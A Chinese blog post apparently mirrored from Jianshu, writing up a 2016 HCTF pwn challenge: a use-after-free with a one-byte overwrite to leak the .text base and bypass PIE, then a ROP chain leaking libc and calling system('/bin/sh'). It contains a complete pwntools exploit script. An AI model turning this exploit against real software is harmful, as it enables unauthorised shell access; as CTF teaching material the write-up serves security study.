美文网首页
覆盖低位泄露.text地址绕过PIE(ASLR)

覆盖低位泄露.text地址绕过PIE(ASLR)

作者: BJChangAn | 来源:发表于2017-12-24 22:48 被阅读0次

2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了:

程序本身功能比较简单:

所有的string用一个str_list来存储

0x00 泄露代码段地址

create string时,如果用户的数据长度大于15字节,就会malloc相应大小的内存,否则直接放到str_list中。同时把相应的delete函数也放到str_list中,而delete的时候直接执行这个函数指针。这就使我们可以进行uaf利用。

现在我们已经可以覆盖delete函数了,但是程序开启了PIE(ASLR),不能直接覆盖成我们想要的函数,首先要绕过PIE的防护。

libc每次加载基址会发生变化也是一种ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位(实际上只能覆盖低两位也就是一个字节)来控制流程。

例如这道题里,delete函数低位是d52

delete string的内容其实就是调用delete_func指针,参数是当前string的堆块,即delete_func(str_list[i])

在d2d的位置恰好有一个call _puts的指令可以用于泄露,而且位于main函数的循环中,可以进行下一步利用

覆盖之后,delete_fuc(str_list[i])就变成了puts(str_list[i]),如果把delete函数指针之前的24字节填充成不为零的话,puts会一直打印直到泄露出整个puts的函数指针,减去0xd2d就是代码段的基址。

0x02 构造ROP

回过头看delete string函数:

输入yes的时候,后面允许继续构造数据,而如果我们把delete_fuc函数指针覆盖为pop pop retn一类的rop来抬高栈顶,从而有可能返回到栈中我们构造的rop链去执行。

这里只需要一个pop pop pop pop retn的rop就可以返回到buff+8去执行,我们就可以在buff+8开始构造一个泄露free实际地址的rop链,泄露出puts地址后在到libc db去查询libc版本(出的writeup里用格式化字符串实现leak然后DynELF对于新来说有点开上帝视角了>^<!)

rop=p64(base_addr+0x11e3) #pop rdi ; retn

rop+=p64(base_addr+0x202018) #free got

rop+=p64(base_addr+0x990) #puts plt

rop+=p64(base_addr+0xc71) #retn to main

0x03 get shell

from pwn import *

p=process('./pwn-f')

libc=ELF('./libc6_2.23.so')

def create(size,data):

       p.recvuntil('3.quit')

       p.sendline('create ')

       p.recvuntil('Pls give string size:')

       p.sendline(str(size))

       p.recvuntil('str:')

       p.send(data)

def delete(index,yes):

        p.recvuntil('3.quit')

        p.sendline('delete ')

        p.recvuntil('id:')

        p.sendline(str(index))

        p.recvuntil('Are you sure?:')

        p.sendline(yes)

create(8,'a'*8)

create(8,'b'*8)

create(8,'c'*8)

delete(1,'yes')

delete(0,'yes') #

create(25,'A'*24+'\x2d')

delete(1,'yes')

p.recvuntil('A'*24)

base_addr=u64(p.recv(6).ljust(8,'\x00'))-0xd2d

print '.text base: ',hex(base_addr)

print 'str list addr: ',hex(base_addr+0x2020c0)

delete(1,'yes')

delete(0,'yes')

create(32,'1'*24+p64(base_addr+0x11dc)) #

rop=p64(base_addr+0x11e3) #pop rdi ; retn

rop+=p64(base_addr+0x202018) #free got

rop+=p64(base_addr+0x990) #puts plt

rop+=p64(base_addr+0xc71) #retn to main

delete(1,'yes'+'\x90'*5+rop)

free_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(free_addr)

libc_base=free_addr-libc.symbols['free']

system_addr=libc_base+libc.symbols['system']

sh_addr=libc_base+next(libc.search('/bin/sh'))

print 'system address: ',hex(system_addr)

print '/bin/sh address: ',hex(sh_addr)

#gdb.attach(p,'b* '+hex(base_addr+0xd95))

delete(1,'yes'+'\x90'*5+p64(base_addr+0x11e3)+p64(sh_addr)+p64(system_addr))

p.interactive()

相关文章

  • 覆盖低位泄露.text地址绕过PIE(ASLR)

    2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了: 程序...

  • 栈溢出技巧(上)

    ASLR和PIE 我们都知道由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用,后来各种绕过...

  • ASLR绕过

    0x00 覆盖部分地址绕过ASLR 这一类绕过方法不仅是覆盖部分返回地址,还包括结合uaf等等进行利用,2016h...

  • buuctf

    level2: 简单的栈溢出,覆盖返回地址 ez_pz_hackover_2016 泄露栈地址,ida分析绕过,r...

  • vsyscall总结

    利用vsyscall/vsdo技术bypass PIE 我们知道,在开启了ASLR的系统上运行PIE程序,就意味着...

  • mt-ctf

    baby_focal 堆溢出,没开pie,没有show,劫持stdout来泄露地址,然后劫持数组指针造成任意地址写...

  • 缓冲区溢出的保护机制

    checksec 来查看Linux的保护机制ASLR(PIE):Address Space Layout Rand...

  • Pwnhub血月归来annual Writeup

    思路概要 我解本题的思路大致如下: 用栈溢出leak全局变量地址,绕过PIE leak libc中函数的地址,根据...

  • iOS逆向-LLDB高级用法&Cycript-(ASLR)(Ⅷ)

    ASLR ASLR(Address Space Layout Randomization),地址空间布局随机化。是...

  • ASLR bypass

    ASLR负责堆、栈、LIBC加载基址随机化。 PIE负责代码段(.code)、数据段(.data/.bss)加载基...

网友评论

      本文标题:覆盖低位泄露.text地址绕过PIE(ASLR)

      本文链接:https://www.haomeiwen.com/subject/wgzhgxtx.html